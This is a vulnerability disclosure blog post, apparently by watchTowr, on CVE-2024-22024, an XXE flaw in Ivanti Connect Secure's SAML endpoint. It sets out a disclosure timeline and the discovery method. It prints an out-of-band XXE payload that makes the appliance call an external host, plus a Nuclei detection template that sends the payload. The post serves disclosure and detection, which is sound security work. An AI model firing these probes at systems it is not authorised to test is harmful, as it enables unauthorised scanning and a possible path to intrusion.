Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?
As astute readers of our Twitter account (https://twitter.com/watchtowrcyber) and blog will know, we’ve recently been heavily involved in understanding the recent spatter of vulnerabilities in Ivanti products - most recently, their Connect Secure product which portrays itself as an SSLVPN device.
We’re incredibly proud of the work we did in January - as the first in the industry to release reliable mechanisms to identify a vulnerable Ivanti Connect Secure appliance affected by CVE-2023-46805 & CVE-2024-21887. That work was used by numerous parties, including ShadowServer, to help the industry react ahead of PoCs and patches being released and inform unaware but affected parties.
As we discussed in our recent blogpost, The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited, vulnerabilities have a habit of clustering.
While hunting for CVE-2024-21893, we came across a further (trivial, in our opinion) vulnerability in the Ivanti Connect Secure device which was reported to Ivanti on the same day. As discussed at the time, we always apply our 90 day VDP process to give any vendor the time needed to patch vulnerabilities.
We tweeted about the existence of this vulnerability to notify the world that these devices remain a liability (in our opinion).
We have received criticism for our decision to tweet about the existence of a vulnerability - citing claims of 'unactionability'. Our view is very simple - given we could find these 0days so trivially and the clear APT attention that Ivanti appliances have received, we felt it is not unreasonable to expect another APT to find said vulnerability in the near-future and start using it to once again compromise organisations. We maintain this view.
We aimed to communicate a very simple message - that focused monitoring should not be reduced as of yet - and even worked with numerous partners to enable responses beyond our client base.
We are incredibly proud of our work to enable industry and help prevent breaches.
We have chosen multiple times - including this time - to not release weaponized PoCs given the relatively short timelines organisations have to remediate. While others have made decisions to the opposite of this, we have seen a direct correlation between mass exploitation attempts and PoC release timelines.
We strongly believe PoCs are good for the industry, but there is a balance between giving organisations a chance to patch the vulnerabilities first - and not just "apply a mitigation XML file" (which Ivanti themselves cautioned care around, due to the triviality in which it could be 'un-applied').
As always, our commitment remains with our clients - we remain incredibly proud to have helped clients of the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming technology, identify exploitable and vulnerable appliances globally and implement mitigations ahead of Ivanti disclosing CVE-2024-22024 to the world.
We applied our 90 day VDP process, and went back to doing what we do best - hacking the planet.
But Why, Ivanti?
There has been a little drama around the public advisory of this vulnerability, and thus we've decided to detail timeline below.
We reported the identified vulnerability (that we detail below) initially on Friday 2nd February 2024, with full reproducer. Acknowledgement of our submission was received same day from Ivanti - we were offered the opportunity to submit information for a bug bounty, but we declined.
On 5th February 2024, we followed up with Ivanti to report another affected endpoint for the same class of vulnerability.
On Wednesday 7th February 2024, Ivanti acknowledged this vulnerability and assigned a CVE.
Our curiosity was piqued - why were Ivanti reserving a 2023 CVE for this vulnerability reported in 2024?
Ivanti responded confirming the mistake, and correction with a 2024 CVE:
Today, Friday 9th February 2024, we are pleased to see that Ivanti has released an advisory for this vulnerability:
We did find this comment a little curious, but perhaps we have a new set of colleagues?
What Did We Go Looking For
Anyway.
We today want to give you some insight into our thought process and methodology for discovery of CVE-2024-22024.
Given there have been several issues and mishandled remediation efforts over the last few weeks, we decided to play devil's advocate on behalf of our clients - perhaps Ivanti had not correctly resolved the previously disclosed Server-Side Request Forgery vulnerability (CVE-2024-21893), and thus we decided to split our research efforts into two.
- Team A would look into the reproducer PoC for the SSRF whilst
- Team B would look for bypasses/unintended consequences of the patch.
Whilst there was overlap in our approach, we shared a common goal of demonstrating a high-impact vulnerability in a critical network appliance - an SSLVPN - and living up to our promise of securing our clients proactively.
For those at home wondering where to start, we had a glimmer of light shared by Ivanti in their KB article - "https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways”
A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
Our senses were heightened and focused on various SAML components. For Server-Side Request Forgery vulnerability to amalgamate in SAML functionality, we’re typically looking at three likely scenarios:
- Custom SAML tags
- XSLT Transformations
- XML External Entity (XXE) Injection
Having gained a shell on the box as demonstrated in our previous article: https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/ we were quickly able to narrow down a list of endpoints relevant to the SAML component that are accessible from a pre-authenticated perspective.
- /dana-na/auth/saml-logout.cgi
- /dana-na/auth/saml-sso.cgi
- /dana-na/auth/saml-consumer.cgi
- /dana-na/auth/saml-inter.cgi
- /dana-na/auth/saml-endpoint.cgi
The Previous SSRFs
It’s already become public knowledge of how to reproduce the SSRF - we’ve seen numerous PoCs flood the industry and become tools of mass crypto-mining - so we’d like to spare a thought for our triage friends, operating bug bounty programs.
As this information is more than available in the public domain at this point, we won’t go into too much depth or repeat, but we hold a significant amount of respect for our industry peers who worked tirelessly to help defenders recognise the impact to their devices and promptly update their appliances.
What Have We Created?
Naturally, having shortlisted a list of interesting endpoints, it was time to dive into each of them and look for bugs. Ivanti’s responses are very helpful - they are kind enough to prompt with the required parameters in the HTTP response in order to meet the minimum requirements for the .cgi’s to execute.
Short of this, we have access to the perl scripts in cleartext for additional support (thanks to our previous FDE work with Ivanti devices).
We spent some time tracing the parameters and functions of each endpoint but found no direct consequence that could be exploitable.
However, what was of interest was the utilisation of libraries for processing the data.
Perhaps we weren’t looking deep enough yet, for example in the endpoint /dana-na/auth/saml-sso.cgi several parameters are eventually fed into an external wrapper function not present in the relevant Perl script:
if ($result eq 'Proceed') {
DSSamlWrapper::SAMLSSOService::process($dsidcookieval, $remoteAddr, $spId, $spInitiated,
$resource, $requestType, $request, $relayState, $sigAlg, $signature, $encoding, $authAssertRef,
$serverHostName, $remotePort, $serverAddr, $userAgent, $status);
$result = $status->getValue(0,$DSSamlWrapper::DSSAMLAuthnStatus);
}
We knew it was going to be necessary to boot up our reverse engineering toolset and dive into compiled binaries to work out what is going on with a holistic mindset but something inside us said - no need, this is an Ivanti device, how hard could it be? Perhaps we just need to fuzz?
As mentioned previously - we were looking at several avenues when playing around with the available SAML functionality, including the possibility of an XML External Entity (XXE) Injection vulnerability.
Whilst the endpoints displayed helpful errors based on missing parameters, not enough information was being displayed for an error-based approach as seen in our previous OpenCMS blog. We had to go for an Out-Of-Bounds approach, i.e. a blind injection which may coerce the backend to request our listening infrastructure.
The most vanilla and well-known payload for testing OOB XXE is the following:
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM "http://{{external-host}}/x"> %watchTowr;]><r></r>
We attempted this with the endpoint /dana-na/auth/saml-sso.cgi via the HTTP POST parameter SAMLRequest , as this endpoint does not require a correctly configured value for the RelayState or TARGET parameters (i.e. we can do this blind).
Simply base64’ing the XXE payload results in a long delay in the returned HTTP response and a successful DNS callback to our infrastructure.
At this point we had to pause… did a basic XXE payload - that we could copy off an OSCP course - actually work?
Quickly we confirmed that this wasn’t present in older versions but had been introduced into the latest version of Ivanti Connect-Secure. Yes, you’re reading it right, they’ve messed up once again with their remediation and introduced an even higher impact bug.
Our team split was worth the planning.
What’s The Impact?
Well, we have spent some time figuring it out - but a big shout out to Ivanti for rushing out an advisory and so here we are.
XXE is an introduction to a variety of impacts: DOS, Local File Read, and SSRF. The impact, plainly, of the SSRF depends on what protocols are available for usage.
We noted that we were only able to achieve a DNS callback to our external infra via HTTP (HTTPS didn’t work).
Over the last few weeks issues have arisen predominantly because of the internal Python API servers running on various local ports. Several command injections have been discovered across the vast amount of APIs bound to localhost on an Invait Connect Secure appliance that are accessible from an unauthenticated perspective (read: we theorise that with the SSRF impact of this XXE, we believe with high likelihood that Command Execution/Injection is once again possible).
Given the timeline Ivanti has gone for, and the pass APT/ransomware gang attention we believe this vulnerability will now get - we have prematurely ceased our research here, and leave you with the payload to demonstrate that XXE has taken place. We believe this will help industry identify vulnerable appliances, without the need of releasing a weaponised PoC.
As this is difficult to do with a simple Python script owing to the fact an external listening server is required, we’ve lent help from our friends across the aisle and utilised a well-formed Nuclei template that uses an interactsh server for the callback.
Vulnerability Detection
In January, when APT were popping networks with 0days in Ivanti Connect Secure, we were first in the industry to release reliable mechanisms to identify a vulnerable appliance - safely. That work led numerous types of organisations, including non-profits like ShadowServer, being able to inform parties globally about their susceptibility.
We aim to do the same here, without enabling mass exploitation and deployment of crypto-miners - or forcing CISA to require a full factory reset of Ivanti appliances yet again.
id: ivanti-xxe-cve-2024-22024
info:
name: Ivanti Connect Secure XXE (CVE-2024-22024)
author: watchTowr
severity: high
tags: xxe,ivanti,watchtowr,cve-2024-22024
http:
- raw:
- |
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 236
SAMLRequest={{base64(concat('<?xml version=\\"1.0\\" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM \\"http://',rand_text_alpha(10, "abcdef"),'.','{{interactsh-url}}','/x\\"> %watchTowr;]><r></r>'))}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
Conclusion
Another day, yet another SSL VPN bug.
We’re surprised about the communication mishandling from Ivanti, and we assume this is without malice.
We’ve said what we’ve needed to say before about SSLVPN appliances as an industry, the poor state of security, and the concerning trend downwards. However, our commitment remains - to help our clients remain secure, and thus we will continue on this crusade until such a time that it is not relevant.
At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.
If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.